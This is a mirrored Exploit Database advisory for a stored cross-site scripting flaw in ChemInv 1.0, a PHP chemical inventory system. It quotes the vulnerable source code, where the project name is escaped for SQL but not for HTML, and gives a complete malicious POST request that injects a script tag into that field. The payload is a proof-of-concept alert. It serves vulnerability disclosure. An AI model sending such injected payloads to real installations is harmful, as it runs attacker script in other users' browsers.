ChemInv 1.0 – Authenticated Persistent Cross-Site Scripting

• Exploit Database
• 108 阅读

• 作者： boku
  日期： 2020-05-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48401/

• # Exploit Title: ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting
  # Exploit Author: Bobby Cooke
  # Date: 2020-04-29
  # Software Link: https://github.com/tmorrell/cheminv
  # Software Info: 
  # "Cheminv is a web-based chemical inventory system. This responsive database provides an accessible way to organize and order chemicals, and is provided as an open-source package for all non-commercial users."
  # "Cheminv was created by Thomas Morrell for the Haw Yang Lab at Princeton University"
  # "Cheminv is based on ecDB www.ecDB.net, which was created by Nils Fredriksson aka. ElectricMan and designed by Buildlog."
  # Version: 1
  # Tested On: CentOS
  # Vulnerability Type: 
  # ChemInv suffers from a persistent cross-site scripting vulnerability(XSS). This vulnerability can be exploited to have all users of the system, with read access to the project, execute malicious client-side code; every time the users views the 'Projects' or 'Add Chemicals' tab.
  # The application's source code mitigates SQL injection (SQLi), but fails to sanitize HTML and JavaScript injections to the SQL database. 
  
  # Vulnerable Source Code
  ## proj_list.php
   33include('include/include_proj_add.php');
   34 $AddProj = new ProjAdd;
   35 $AddProj->AddProj();
   36 
   37 $proj_query = mysql_query("SELECT * FROM projects WHERE project_owner= $owner");
  ## include/include_proj_add.php
  2 class ProjAdd {
  3 public function AddProj () {
  4
  5 require_once('include/login/auth.php');
  6 include('include/mysql_connect.php');
  7
  8 if(isset($_POST['submit'])) {
  9 $owner= $_SESSION['SESS_MEMBER_ID'];
   10 $name = mysql_real_escape_string($_POST['name']);
   11
   12 if ($name == '') {
   13 echo '<div class="message red">';
   14 echo 'You have to specify a name!';
   15 echo '</div>';
   16 }
   17 else {
   18 $sql="INSERT into projects (project_owner, project_name) VALUES ('$owner', '$name')";
   19 $sql_exec = mysql_query($sql);
  
  # Malicious POST Request to https://TARGET/proj_list.php
  POST /proj_list.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: https://TARGET/proj_list.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 16
  Connection: close
  Cookie: PHPSESSID=7af5kg3to8fstfum0to1ukpb85
  
  name=evilProject<script>alert('XSS');</script>&submit=
  

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